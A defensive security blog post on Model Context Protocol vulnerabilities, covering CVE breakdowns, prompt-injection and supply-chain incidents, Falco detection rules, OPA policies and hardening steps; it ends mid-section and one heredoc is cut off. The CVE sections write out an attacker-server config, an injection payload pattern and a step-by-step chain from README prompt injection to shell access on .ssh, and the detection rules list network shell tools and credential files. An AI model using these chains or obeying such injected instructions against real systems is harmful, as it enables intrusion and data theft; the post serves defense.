Anthropic introduced the Model Context Protocol (MCP) in November 2024, billing it as the "USB-C for AI"—a universal standard that lets LLMs connect to databases, APIs, filesystems, and developer tools through a common interface. Adoption was explosive. Within months, over 13,000 MCP servers were indexed by researchers. By early 2026, Microsoft, GitHub, Salesforce, and hundreds of enterprise tooling vendors had integrated MCP into their AI products. And then the CVEs started arriving.
This post is a technically grounded analysis of the MCP security landscape as it stands today: real CVEs with real CVSS scores, verified supply chain incidents, and a structural breakdown of why MCP's trust model creates systemic risk. More importantly, it shows how to apply policy-as-code techniques—OPA/Gatekeeper, Falco, CI/CD enforcement—to detect, prevent, and respond to MCP-based attacks in your environment.
🎯 MCP Security Landscape: 2025–2026
📋 Table of Contents
- What is MCP and Why Does It Matter for Security?
- The MCP Attack Surface: Four Threat Layers
- CVE Deep Dives: Real Vulnerabilities, Verified Damage
- Real-World Incidents: Supply Chain and Prompt Injection
- Detection Strategies: Falco Runtime Rules
- Policy-Based Defense: OPA, Gatekeeper, and CI/CD
- Complete Mitigation Guide
- Lessons Learned: Trust Models in Agentic AI
🔌 What is MCP and Why Does It Matter for Security?
MCP defines a client-server protocol that allows LLM-powered applications (MCP hosts like Claude Desktop, Cursor, or Windsurf) to connect to external tools and data sources via MCP servers. A single MCP client can connect to multiple servers simultaneously. Those servers can expose three types of capabilities:
- Tools: Executable functions the LLM can invoke—database queries, file operations, shell commands, API calls
- Resources: Static or dynamic data sources—documents, databases, live web content
- Prompts: Reusable instruction templates that shape LLM behavior
Here is what makes MCP dangerous from a security standpoint: MCP servers run with the privileges of the user or service account that launched them. There is no sandbox enforced at the protocol level. An MCP server connected to your Claude Desktop has full access to your filesystem, your environment variables, your SSH keys, and any API tokens in memory—bounded only by the operating system user permissions. The protocol specification provides minimal authentication guidance, no required message signing, and session IDs passed in URLs (a logging risk by design).
⚠️ The Core Trust Problem
MCP was designed for functionality first, security second. The protocol's specification does not mandate client-side validation of server-provided tool metadata. Research by the MCP Threat Modeling community found that 5 out of 7 evaluated MCP clients performed no static validation of server-provided tool descriptions—meaning a malicious server can supply arbitrary instructions embedded in its tool metadata, and clients will pass them directly to the LLM context.
🧱 The MCP Attack Surface: Four Threat Layers
MCP vulnerabilities do not cluster in one place. To defend against them properly, you need to understand the four distinct layers where attacks occur:
Layer 1: Protocol-Level Weaknesses
MCP's specification has structural security gaps that cannot be patched by individual server implementations—they require protocol-level changes:
- Session IDs in URLs: The spec mandates
GET /messages/?sessionId=UUID, exposing sensitive identifiers in server logs, proxy logs, and browser history. Session hijacking follows trivially. - No Authentication Standard: The spec provides no normative authentication requirements, producing wildly inconsistent and often absent security controls across implementations.
- Missing Message Integrity: No required message signing means a man-in-the-middle can tamper with tool definitions and responses without detection.
- Confused Deputy via Proxy Servers: MCP proxy servers using static OAuth client IDs allow malicious clients to obtain authorization codes without proper user consent—a confused deputy attack baked into the OAuth integration pattern.
Layer 2: Server Implementation Vulnerabilities
This is where the concrete CVEs live. Classic vulnerability classes—command injection, path traversal, SSRF—are re-emerging in MCP server implementations because developers are building AI tooling faster than they are applying AppSec fundamentals. The Anthropic mcp-server-git CVE chain is the clearest example: path traversal and argument injection in the official reference implementation that developers are meant to copy.
Layer 3: Client Trust Model Failures
Most MCP clients operate on an approve-once-trust-forever model. Once a user approves a server in their config, the client will trust all future tool definitions and metadata from that server—even if the server's behavior changes via a remote update. CVE-2025-54136 in Cursor IDE documented this exactly: the client never re-validated configs after initial approval, meaning a server could silently update its tool descriptions to inject malicious instructions.
Layer 4: Supply Chain and Ecosystem Risk
The npm registry is an active attack surface for MCP packages. Typosquatting, malicious postinstall scripts, and package hijacking are all documented vectors. The Postmark incident (covered in detail below) demonstrated that a single compromised MCP package with high-privilege access—in this case, email sending—can exfiltrate everything passing through it. This is a supply chain attack with LLM amplification: the AI agent faithfully calls the poisoned tool, the user sees normal output, and sensitive data is gone.
🔬 CVE Deep Dives: Real Vulnerabilities, Verified Damage
CVE-2025-6514: mcp-remote OS Command Injection (CVSS 9.6)
Discovered by Or Peles of the JFrog Security Research Team and published July 9, 2025, CVE-2025-6514 is the first documented case of full remote code execution on a client operating system triggered by connecting to an untrusted MCP server. It affected mcp-remote versions 0.0.5 through 0.1.15—a widely used npm proxy that allows local MCP clients (Claude Desktop, Cursor, Windsurf) to connect to remote HTTP-based MCP servers. At time of disclosure, the package had over 437,000 weekly downloads.
How the Attack Works
mcp-remote acts as an STDIO-to-HTTP bridge with OAuth support. When a client starts mcp-remote and points it at a remote server URL, the proxy initiates an OAuth handshake by fetching metadata from the server. That metadata includes an authorization_endpoint URL, which mcp-remote then opens in the system browser to complete the auth flow.
CVE-2025-6514: The Injection Vector
# Attacker controls a malicious MCP server at attacker.com
# When mcp-remote connects, the server returns:
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe"
}
# On Windows: PowerShell's subexpression evaluation leads to
# arbitrary command execution with full parameter control
# Real-world payload example (simplified):
# "http://www.example$(malicious_command).com/?response_type=code"
#
# mcp-remote passes this unsanitized URL to open()
# → command injection → arbitrary OS command execution
# → full system compromise: SSH keys, env vars, filesystem
# Attack chain in claude_desktop_config.json:
{
"mcpServers": {
"attacker-server": {
"command": "npx",
"args": [
"-y", "mcp-remote",
"http://attacker-controlled-server.com/mcp"
]
}
}
}
# Opening Claude Desktop with this config executes the attack.
# No further user interaction required.
The fix in mcp-remote v0.1.16 sanitizes the authorization_endpoint URL before passing it to the OS. The recommended mitigations are: upgrade immediately, and never connect to untrusted MCP servers over HTTP.
🔍 CVSS 9.6 Breakdown: Why This Scores So High
The vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H. Network-accessible, low attack complexity, no privileges required, minimal user interaction (just opening Claude Desktop), scope change, and full confidentiality/integrity/availability impact. The only thing holding it back from 10.0 is the UI:R (User Interaction Required)—the user must have a malicious server in their config. GitHub Advisory Database lists it at 9.7 with their scoring.
CVE-2025-68143 / 68144 / 68145: Anthropic mcp-server-git RCE Chain
Discovered by AI security firm Cyata Security and reported to Anthropic in June 2025, these three vulnerabilities in Anthropic's own official mcp-server-git were publicly disclosed January 20, 2026. This is the critical detail: this was not a third-party community server—it was Anthropic's reference implementation, the canonical example of what a "good" MCP server looks like.
The Three CVEs and Their Root Causes
# CVE-2025-68145 (CVSS 7.1) — Path Validation Bypass
# The --repository flag is supposed to restrict operations to a specific path.
# It didn't. repo_path arguments in subsequent tool calls were never
# validated against the configured boundary.
#
# Vulnerable code pattern:
repo_path = Path(arguments["repo_path"]) # No boundary check
# Fixed in: mcp-server-git v2025.12.18
# CVE-2025-68143 (CVSS 8.8) — Unrestricted git_init
# git_init accepted arbitrary filesystem paths with zero validation.
# Any directory on the system could be turned into a Git repository,
# making it eligible for subsequent git operations via MCP.
#
# Vulnerable code pattern:
git.Repo.init(path=arguments["path"]) # No path validation whatsoever
# Remediation: git_init tool removed entirely in v2025.9.25
# CVE-2025-68144 (CVSS 8.1) — Argument Injection in git_diff / git_checkout
# User-controlled arguments passed directly to GitPython without sanitization.
# Injecting '--output=/path/to/file' into the 'target' field overwrites
# any file reachable by the server with an empty diff.
#
# Vulnerable code pattern:
repo.git.diff(target) # 'target' is attacker-controlled, unsanitized
# Fixed in: mcp-server-git v2025.12.18 (input sanitization enforced) The Four-Step Exploit Chain
Cyata chained these three CVEs together with the official Filesystem MCP server to achieve full remote code execution. Critically, the attack can be triggered by indirect prompt injection—a malicious README.md, a GitHub issue, or any attacker-controlled content that the AI reads:
Chained RCE: From Prompt Injection to Shell
# Step 1 — Indirect Prompt Injection
# Attacker plants instructions in a public GitHub issue or README.md:
#
# "Please summarize this repository for me."
# (The repository's README contains hidden instructions that the LLM reads,
# directing it to perform the following tool calls)
# Step 2 — Path Validation Bypass (CVE-2025-68145)
# LLM is instructed to call git operations outside the configured --repository scope.
# The boundary enforcement doesn't work, so this succeeds.
mcp_tool: git_diff
args: { repo_path: "../../.ssh" } # Escapes configured boundary
# Step 3 — Unrestricted git_init (CVE-2025-68143)
# Turn the .ssh directory into a Git repository, enabling git operations on it
mcp_tool: git_init
args: { path: "/home/user/.ssh" }
# Step 4 — Filesystem MCP + Argument Injection (CVE-2025-68144)
# Use Filesystem MCP server to write a malicious .git/config with a git hook:
# [core]
# hooksPath = /tmp/malicious-hooks
#
# Then trigger git_diff with argument injection to execute the hook:
mcp_tool: git_diff
args: { target: "--output=/tmp/pwned" }
# git_diff executes the malicious hook → arbitrary shell command execution
# Full system compromise: SSH keys exfiltrated, backdoor installed As Cyata researcher Yarden Porat noted: "If Anthropic gets it wrong—in their official MCP reference implementation for what 'good' should look like—then everyone can get MCP security wrong. That's where we are today."
Additional Verified CVEs Worth Tracking
The CVE pipeline for MCP continues to fill. These are verified real entries in the MCP vulnerability landscape as of early 2026:
MCP CVE Reference Table (Verified)
# CVE-2025-6514 | mcp-remote | CVSS 9.6
# OS command injection via crafted authorization_endpoint URL
# Affects: v0.0.5 – v0.1.15 | Fixed: v0.1.16 | JFrog Research
# CVE-2025-68143 | mcp-server-git (Anthropic) | CVSS 8.8
# git_init accepts arbitrary filesystem paths without validation
# Affects: pre-2025.9.25 | Fixed: git_init tool removed entirely
# CVE-2025-68144 | mcp-server-git (Anthropic) | CVSS 8.1
# Argument injection in git_diff / git_checkout
# Affects: pre-2025.12.18 | Fixed: v2025.12.18
# CVE-2025-68145 | mcp-server-git (Anthropic) | CVSS 7.1
# --repository path validation bypass
# Affects: pre-2025.12.18 | Fixed: v2025.12.18
# gemini-mcp-tool | CVSS 9.8 (unverified CVE assignment at time of writing)
# Unsanitized user input passed to execAsync shell commands
# Network-exploitable, no authentication required
# Status: Zero-day at time of research disclosure, no patch available
# mcp-fetch-server | CVSS 9.3
# SSRF via private IP validation bypass in is_ip_private()
# Affects: <= v1.0.2 | Fixed: v1.0.3
# CVE-2025-49596 | MCP Inspector (Anthropic developer tool)
# Unauthenticated RCE via inspector-proxy architecture
# Attacker triggers arbitrary commands by having dev inspect a malicious server
# Microsoft MarkItDown MCP Server (unpatched as of disclosure)
# SSRF vulnerability enabling access to EC2 instance metadata service
# Demonstrated AWS credential exfiltration; Microsoft classified as low-risk ⚡ Real-World Incidents: Supply Chain and Prompt Injection
The Postmark MCP Supply Chain Breach
This is the incident that made CISOs pay attention. A malicious actor published an npm package masquerading as a legitimate "Postmark MCP Server"—an integration for the popular transactional email service. Developers building AI automation pipelines integrated it, granting it the same high-privilege email-sending access as the real Postmark integration. A single line of injected code caused the compromised MCP server to BCC every outgoing email to an attacker-controlled address. Internal project memos, password reset links, invoices, contracts—everything processed through that pipeline was silently exfiltrated. The attack was effective because MCP servers routinely run with high-privilege access by design, and the malicious package was functionally indistinguishable from the legitimate one.
GitHub MCP Server: Private Repository Exfiltration
Invariant Labs documented an attack against the official GitHub MCP server in which a malicious public GitHub issue triggered a prompt injection attack on an AI assistant. The injected instructions directed the agent—operating with a single over-privileged Personal Access Token—to pull data from private repositories and leak it into a public pull request. Private repository contents, internal project details, and salary information were exposed. The root cause was two factors combining: broad PAT scopes granted to the MCP server, and the AI treating attacker-controlled content (a GitHub issue) as trusted instruction.
Supabase/Cursor: Privileged Agent Processing Untrusted Input
In mid-2025, a Supabase Cursor agent running with privileged service-role database access was processing customer support tickets. Attackers embedded SQL instructions within support ticket content. The agent, treating the ticket content as data to process rather than potentially hostile input, executed the injected SQL—reading and exfiltrating sensitive integration tokens into a public support thread. This is the classic confused deputy problem applied to LLM agents: the agent had legitimate high-privilege access, and untrusted external input was fed into its context without isolation.
WhatsApp History Exfiltration (Invariant Labs PoC)
Invariant Labs demonstrated that a malicious MCP server could silently exfiltrate a user's entire WhatsApp message history by combining tool poisoning with a legitimate whatsapp-mcp server in the same agent context. When multiple MCP servers operate in the same environment, a malicious server can redefine or shadow legitimate tool implementations—intercepting data flows while appearing normal to the user.
🔍 Detection Strategies: Runtime Security with Falco
MCP attacks are hard to detect at the network perimeter because the initial vector is usually a legitimate protocol interaction—an OAuth handshake, a tool call, a file read. Runtime detection at the syscall level, where the post-exploitation behavior is observable, is the most reliable signal source.
Why Falco Works Here
Falco monitors kernel-level system calls in real time. MCP exploitation—whether command injection, path traversal, or a reverse shell from a compromised agent—will produce observable syscall patterns. An LLM agent process should not be spawning bash, reading /etc/passwd, or making outbound TCP connections to unfamiliar IPs. Falco can detect all of these.
Falco Rules: MCP Attack Detection
# /etc/falco/rules.d/mcp-security.yaml
- list: llm_agent_processes
items: [node, nodejs, python, python3, npx]
- list: shell_binaries
items: [bash, sh, zsh, dash, ash, ksh, csh]
- list: recon_tools
items: [wget, curl, nc, netcat, ncat, socat, nmap]
- list: sensitive_files
items: [/etc/passwd, /etc/shadow, /etc/hosts, /proc/version]
- macro: mcp_agent_spawning_shell
condition: >
(evt.type in (execve, execveat) and
evt.dir=< and
evt.arg.res=0 and
proc.aname in (llm_agent_processes) and
proc.name in (shell_binaries))
# Rule 1: Detect shell spawned by MCP agent process
# Core signal for CVE-2025-6514 and the mcp-server-git RCE chain
- rule: MCP Agent Spawning Shell Process
desc: >
Detects shell execution spawned by an LLM agent/MCP server process.
This is the primary post-exploitation signal for CVE-2025-6514
(mcp-remote command injection) and indirect prompt injection RCE chains.
condition: >
mcp_agent_spawning_shell
output: >
Shell spawned by MCP agent process
(shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline
user=%user.name container=%container.id image=%container.image.repository)
priority: CRITICAL
tags: [mcp, rce, cve_2025_6514, prompt_injection]
# Rule 2: MCP process reading sensitive system files
- rule: MCP Agent Accessing Sensitive Files
desc: >
Detects MCP server or LLM agent process reading sensitive system paths.
Indicates post-exploitation reconnaissance following a successful
path traversal (CVE-2025-68145) or prompt injection attack.
condition: >
(evt.type=openat and
proc.aname in (llm_agent_processes) and
(fd.name in (sensitive_files) or
fd.name startswith "/proc/" or
fd.name startswith "/sys/"))
output: >
MCP agent reading sensitive file
(file=%fd.name process=%proc.name parent=%proc.pname
user=%user.name container=%container.id)
priority: HIGH
tags: [mcp, path_traversal, cve_2025_68145]
# Rule 3: MCP process accessing AWS metadata service (credential theft)
- rule: MCP Agent AWS Metadata Access
desc: >
Detects MCP agent querying the AWS IMDSv1 endpoint.
Indicates credential theft attempt — likely following tool poisoning
or a compromised MCP server with SSRF capability (MarkItDown pattern).
condition: >
(evt.type in (execve, execveat) and
evt.dir=< and
proc.aname in (llm_agent_processes) and
proc.name in (wget, curl) and
(proc.cmdline contains "169.254.169.254" or
proc.cmdline contains "metadata" or
proc.cmdline contains "iam/security-credentials"))
output: >
MCP agent attempting AWS metadata theft
(command=%proc.cmdline user=%user.name container=%container.id)
priority: CRITICAL
tags: [mcp, credential_theft, ssrf, aws]
# Rule 4: Unexpected outbound connection from MCP server
- rule: MCP Agent Unexpected Outbound Connection
desc: >
Detects network connections from MCP agent processes to external IPs.
Indicates reverse shell, data exfiltration, or C2 beaconing following
a successful exploit. LLM agent processes should not initiate raw TCP.
condition: >
(evt.type=connect and
proc.aname in (llm_agent_processes) and
fd.l4proto=tcp and
fd.sip != "127.0.0.1" and
fd.sip != "::1" and
not fd.sip startswith "10." and
not fd.sip startswith "172.16." and
not fd.sip startswith "192.168.")
output: >
MCP agent making unexpected external connection
(remote=%fd.sip:%fd.sport process=%proc.name
container=%container.id image=%container.image.repository)
priority: HIGH
tags: [mcp, exfiltration, c2]
# Rule 5: git_init on sensitive directory (mcp-server-git CVE chain)
- rule: MCP Agent git init on Sensitive Path
desc: >
Detects git repository initialization in sensitive directories.
Signature of CVE-2025-68143 exploitation — the first step in the
Anthropic mcp-server-git RCE chain targeting .ssh or other sensitive paths.
condition: >
(evt.type in (execve, execveat) and
evt.dir=< and
proc.aname in (llm_agent_processes) and
proc.name = "git" and
proc.cmdline contains "init" and
(proc.cmdline contains ".ssh" or
proc.cmdline contains "/root" or
proc.cmdline contains "/etc"))
output: >
MCP agent initializing git repo in sensitive path
(command=%proc.cmdline user=%user.name container=%container.id)
priority: CRITICAL
tags: [mcp, cve_2025_68143, git_init, path_traversal]
# Rule 6: Tool poisoning — MCP server writing unexpected files
- rule: MCP Agent Writing Outside Working Directory
desc: >
Detects MCP server processes writing files outside expected working paths.
May indicate tool poisoning or the file-overwrite step of the
mcp-server-git CVE-2025-68144 argument injection chain.
condition: >
(evt.type in (open, openat) and
evt.arg.flags contains "O_WRONLY" and
proc.aname in (llm_agent_processes) and
not fd.name startswith "/tmp/" and
not fd.name startswith "/home/" and
not fd.name startswith "/var/")
output: >
MCP agent writing file outside expected paths
(file=%fd.name process=%proc.name container=%container.id)
priority: HIGH
tags: [mcp, tool_poisoning, cve_2025_68144] Deploying Falco for MCP-Enabled Environments
Kubernetes Deployment with Alert Routing
# Add Falco Helm repository
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
cat > falco-mcp-values.yaml < 🛡️ Policy-Based Defense: OPA, Gatekeeper, and CI/CD
Runtime detection catches exploitation after it starts. Policy-as-code shifts the defense left—enforcing controls at development time, CI/CD gates, and admission control so vulnerable MCP configurations never reach production.
OPA Policy: Block Untrusted MCP Server URLs
For organizations deploying containerized LLM agents (e.g., Claude-powered automation in Kubernetes), use Gatekeeper to enforce MCP server allowlists. Agents should only connect to servers on your approved inventory.
OPA/Gatekeeper: MCP Server Allowlist Enforcement
# constraint-template.yaml
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
name: mcpserverallowlist
spec:
crd:
spec:
names:
kind: MCPServerAllowlist
validation:
openAPIV3Schema:
type: object
properties:
allowedDomains:
type: array
items:
type: string
targets:
- target: admission.k8s.gatekeeper.sh
rego: |
package mcpserverallowlist
import future.keywords.in
# Deny if any container env var references an unapproved MCP server URL
violation[{"msg": msg}] {
container := input.review.object.spec.containers[_]
env := container.env[_]
env.name == "MCP_SERVER_URL"
allowed_domains := {d | d := input.parameters.allowedDomains[_]}
# Check if the URL domain is in the allowlist
server_url := env.value
not any_domain_matches(server_url, allowed_domains)
msg := sprintf(
"Container '%s' references unapproved MCP server URL: %s. Only approved internal MCP servers are permitted.",
[container.name, server_url]
)
}
any_domain_matches(url, domains) {
domain := domains[_]
contains(url, domain)
}
# Deny MCP configs that use HTTP instead of HTTPS
violation[{"msg": msg}] {
container := input.review.object.spec.containers[_]
env := container.env[_]
env.name == "MCP_SERVER_URL"
startswith(env.value, "http://")
msg := sprintf(
"Container '%s' connects to MCP server over HTTP (insecure). Use HTTPS only. (CVE-2025-6514 mitigation)",
[container.name]
)
}
---
# constraint.yaml
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: MCPServerAllowlist
metadata:
name: enforce-mcp-server-allowlist
spec:
match:
kinds:
- apiGroups: ["apps", ""]
kinds: ["Deployment", "StatefulSet", "DaemonSet"]
parameters:
allowedDomains:
- "mcp.internal.yourcompany.com"
- "api.yourcompany.com"
- "mcp.anthropic.com" OPA Policy: Enforce Least Privilege on MCP Tool Scopes
OPA Rego: Deny Overly Broad MCP Tool Permissions
# mcp-tool-scope-policy.rego
# Applies to MCP server configuration ConfigMaps or custom CRDs
package mcp.toolscope
import future.keywords.in
# Filesystem MCP server must not be given home directory root access
# This is the exact misconfiguration that enables CVE-2025-68143/68145 chains
deny[msg] {
container := input.review.object.spec.containers[_]
arg := container.args[_]
# Detect filesystem MCP server with overly broad path scope
server_name := container.args[_]
contains(server_name, "server-filesystem")
# Check if the configured path is the home directory or root
path_arg := container.args[_]
path_arg in {"/home", "/root", "/", "/Users"}
msg := sprintf(
"MCP Filesystem server in container '%s' is configured with overly broad path '%s'. Scope to a specific project directory.",
[container.name, path_arg]
)
}
# Deny MCP configs that use mcp-remote with non-HTTPS server URLs
# Direct mitigation for CVE-2025-6514 pattern
deny[msg] {
container := input.review.object.spec.containers[_]
args := container.args
some i
args[i] == "mcp-remote"
server_url := args[i+1]
startswith(server_url, "http://")
msg := sprintf(
"Container '%s' uses mcp-remote with HTTP server URL '%s'. This configuration is vulnerable to CVE-2025-6514. Enforce HTTPS.",
[container.name, server_url]
)
}
# Deny mcp-server-git versions known to be vulnerable
deny[msg] {
container := input.review.object.spec.containers[_]
some arg in container.args
contains(arg, "server-git")
# Check for vulnerable version pinning
image := container.image
vulnerable_tag := {"2025.9.24", "2025.6.0", "2025.3.0"}
tag := split(image, ":")[1]
tag in vulnerable_tag
msg := sprintf(
"Container '%s' uses vulnerable mcp-server-git version '%s'. Update to 2025.12.18 or later. (CVE-2025-68143/68144/68145)",
[container.name, tag]
)
} CI/CD Gate: Block Vulnerable MCP Package Versions
GitHub Actions: MCP Dependency Security Gate
# .github/workflows/mcp-security-gate.yml
name: MCP Security Gate
on:
pull_request:
branches: [main, develop]
push:
branches: [main]
jobs:
mcp-vulnerability-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: '20'
- name: Check for vulnerable mcp-remote versions (CVE-2025-6514)
run: |
if grep -r "mcp-remote" package.json package-lock.json 2>/dev/null; then
MCP_REMOTE_VERSION=$(npm list mcp-remote --depth=0 2>/dev/null | grep mcp-remote | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' || echo "not-found")
if [ "$MCP_REMOTE_VERSION" = "not-found" ]; then
echo "✅ mcp-remote not installed directly"
else
# Semver comparison: fail if < 0.1.16
MAJOR=$(echo $MCP_REMOTE_VERSION | cut -d. -f1)
MINOR=$(echo $MCP_REMOTE_VERSION | cut -d. -f2)
PATCH=$(echo $MCP_REMOTE_VERSION | cut -d. -f3)
if [ "$MAJOR" -eq "0" ] && [ "$MINOR" -eq "1" ] && [ "$PATCH" -lt "16" ]; then
echo "::error::VULNERABLE mcp-remote version $MCP_REMOTE_VERSION detected"
echo "::error::CVE-2025-6514 (CVSS 9.6): OS command injection via OAuth flow"
echo "::error::Fix: npm install mcp-remote@0.1.16 or later"
exit 1
elif [ "$MAJOR" -eq "0" ] && [ "$MINOR" -lt "1" ]; then
echo "::error::VULNERABLE mcp-remote version $MCP_REMOTE_VERSION detected"
echo "::error::CVE-2025-6514: Update to >= 0.1.16 immediately"
exit 1
fi
echo "✅ mcp-remote $MCP_REMOTE_VERSION is not vulnerable to CVE-2025-6514"
fi
fi
- name: Check for vulnerable mcp-server-git (CVE-2025-68143/68144/68145)
run: |
if find . -name "*.json" -exec grep -l "server-git" {} \; 2>/dev/null | head -1; then
echo "::warning::mcp-server-git reference found in project configs"
echo "::warning::Ensure you are using version 2025.12.18 or later"
echo "::warning::Affected CVEs: CVE-2025-68143 (CVSS 8.8), CVE-2025-68144 (CVSS 8.1), CVE-2025-68145 (CVSS 7.1)"
fi
- name: Audit npm packages for MCP-related vulnerabilities
run: npm audit --audit-level=high
- name: Scan for HTTP MCP server references (CVE-2025-6514 pattern)
run: |
if grep -rn '"http://' --include="*.json" . | grep -i "mcp\|server"; then
echo "::error::HTTP (non-TLS) MCP server URL detected in config files"
echo "::error::This pattern is vulnerable to CVE-2025-6514"
echo "::error::All MCP server connections must use HTTPS"
exit 1
fi
echo "✅ No HTTP MCP server URLs detected"
- name: Check MCP filesystem scope (path traversal prevention)
run: |
# Detect overly broad filesystem MCP configurations
if grep -rn "server-filesystem" --include="*.json" . | grep -E '"/home"|"/root"|"/"'; then
echo "::error::Overly broad MCP Filesystem server scope detected"
echo "::error::Do not configure server-filesystem with home directory or root paths"
echo "::error::Scope to a specific project directory only"
exit 1
fi
echo "✅ MCP Filesystem server scopes look appropriately restricted" AWS Config Rule: Detect MCP Servers with Excessive IAM Permissions
Rego Policy: AWS Lambda MCP Functions Must Use Least Privilege
# wiz-custom-control: mcp-lambda-excessive-permissions.rego
# Applies to AWS Lambda functions serving as MCP server backends
package mcp.aws.lambdapermissions
import future.keywords.in
default result := "fail"
# Known dangerous action sets for MCP server Lambda functions
# These enable the Postmark-pattern supply chain attack:
# compromised MCP server + high-privilege access = full data exfiltration
dangerous_action_sets := {
"s3:*",
"ses:SendEmail",
"ses:SendRawEmail",
"secretsmanager:GetSecretValue",
"ssm:GetParameter",
"iam:PassRole",
"iam:CreateAccessKey",
"lambda:InvokeFunction",
}
result := "pass" {
# Lambda function tagged as MCP server must not have wildcard policies
currentConfiguration := input.resource.properties
tags := object.get(currentConfiguration, "Tags", {})
object.get(tags, "mcp-server", "") == "true"
policy_doc := currentConfiguration.Policy
statements := policy_doc.Statement
# Verify no statement grants dangerous actions
not any_dangerous_action(statements)
}
any_dangerous_action(statements) {
statement := statements[_]
statement.Effect == "Allow"
action := statement.Action
# Check both string and array forms of Action
is_string(action)
action in dangerous_action_sets
}
any_dangerous_action(statements) {
statement := statements[_]
statement.Effect == "Allow"
actions := statement.Action
is_array(actions)
action := actions[_]
action in dangerous_action_sets
}
any_dangerous_action(statements) {
statement := statements[_]
statement.Effect == "Allow"
statement.Action == "*"
}
expectedConfiguration := {
"TaggedMCPServerLambdas": "Must use scoped IAM policies — no wildcard actions, no high-privilege email/secret/IAM permissions"
} 🔧 Complete Mitigation Guide
Step 1: Inventory Your MCP Exposure
Find MCP Configs Across Your Environment
# Find all Claude Desktop / Cursor / Windsurf MCP configs
find ~ -name "claude_desktop_config.json" 2>/dev/null
find ~ -name ".cursor" -type d 2>/dev/null
find ~ -name "mcp.json" 2>/dev/null
# Extract all configured MCP server URLs for review
cat ~/Library/Application\ Support/Claude/claude_desktop_config.json | \
python3 -c "import json,sys; config=json.load(sys.stdin); \
[print(k, v.get('args', [])) for k,v in config.get('mcpServers', {}).items()]"
# Find mcp-remote in containerized environments
kubectl get pods -A -o json | jq -r \
'.items[].spec.containers[].args[] | select(contains("mcp-remote") or contains("mcp-server"))'
# Find vulnerable mcp-remote versions in all node_modules
find / -path "*/mcp-remote/package.json" -exec \
python3 -c "import json,sys; p=json.load(open(sys.argv[1])); print(sys.argv[1], p.get('version'))" {} \; 2>/dev/null Step 2: Patch Immediately
Critical Updates (Do These Today)
# 1. mcp-remote (CVE-2025-6514, CVSS 9.6)
npm install -g mcp-remote@0.1.16
# Or update in package.json: "mcp-remote": ">=0.1.16"
# 2. mcp-server-git (CVE-2025-68143/68144/68145)
# Via pip if using the Python package:
pip install mcp-server-git --upgrade # Ensure >= 2025.12.18
# 3. mcp-fetch-server (SSRF, CVSS 9.3)
npm install mcp-fetch-server@1.0.3
# Verify installed versions
npm list mcp-remote
npm list mcp-fetch-server Step 3: Harden Your MCP Configuration
Secure claude_desktop_config.json
# BEFORE (vulnerable patterns):
{
"mcpServers": {
"filesystem": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/Users/you"]
# ❌ Home directory root — enables CVE-2025-68143/68145 style attacks
},
"remote-server": {
"command": "npx",
"args": ["-y", "mcp-remote", "http://some-server.com/mcp"]
# ❌ HTTP (no TLS) + mcp-remote — CVE-2025-6514 vector
}
}
}
# AFTER (hardened):
{
"mcpServers": {
"filesystem": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-filesystem@2025.11.18",
"/Users/you/projects/specific-project-only"
# ✅ Pinned version, scoped to single project directory
]
},
"remote-server": {
"command": "npx",
"args": [
"-y",
"mcp-remote@0.1.16",
"https://trusted-internal-server.yourcompany.com/mcp"
# ✅ Pinned patched version, HTTPS, internal trusted server only
]
}
}
} Step 4: Supply Chain Hygiene for MCP Packages
Verify Before You Install
# 1. Check download counts and publish dates before trusting a package
npm info --json | jq '{name: .name, version: .version, downloads: .downloads, publishedAt: .time.modified}'
# 2. Inspect postinstall scripts — this is how the Postmark-style attack works
npm pack
tar -xzf -*.tgz
cat package/package.json | jq '.scripts'
# Any postinstall, preinstall, or install script warrants manual review
# 3. Verify the official package namespace for Anthropic's servers
# Legitimate: @modelcontextprotocol/server-*
# Suspicious: @anthropic-mcp/, @mcp/, or unprefixed names
npm info @modelcontextprotocol/server-filesystem
# 4. Lock your versions — never use unpinned ranges for MCP packages
# In package.json:
{
"dependencies": {
"mcp-remote": "0.1.16", // Exact pin — not "^0.1.16"
"@modelcontextprotocol/server-filesystem": "2025.11.18"
}
} Step 5: Network Controls for MCP Servers
AWS Security Group for MCP Server Deployments
# Terraform: Restrict MCP server egress to known endpoints only
resource "aws_security_group" "mcp_server" {
name = "mcp-server-least-privilege"
description = "MCP server with controlled egress"
vpc_id = var.vpc_id
# Only allow outbound to your approved API endpoints
egress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = ["10.0.0.0/8"] # Internal only
description = "HTTPS to internal services"
}
# Block ALL outbound HTTP — prevents CVE-2025-6514 style HTTP-based attacks
# and stops data exfiltration over plain HTTP
egress {
from_port = 80
to_port = 80
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
# Use deny via NACL or WAF — SGs are allow-only, so combine with NACL below
}
tags = {
Name = "mcp-server-sg"
mcp-server = "true"
}
}
# NACL to explicitly block HTTP egress from MCP server subnets
resource "aws_network_acl_rule" "block_http_egress" {
network_acl_id = var.nacl_id
rule_number = 100
egress = true
protocol = "tcp"
rule_action = "deny"
cidr_block = "0.0.0.0/0"
from_port = 80
to_port = 80
} 📚 Lessons Learned: Trust Models in Agentic AI
1. The Reference Implementation Problem
When Anthropic's own mcp-server-git—the example that developers are meant to copy—contained three chained CVEs enabling full RCE, it reveals a systemic failure in how the MCP ecosystem was bootstrapped. Security review of reference implementations is not optional. Every organization forking or adapting an official MCP server should run a full AppSec review, not assume the canonical implementation is safe.
2. High Privilege Plus Untrusted Input Equals Catastrophe
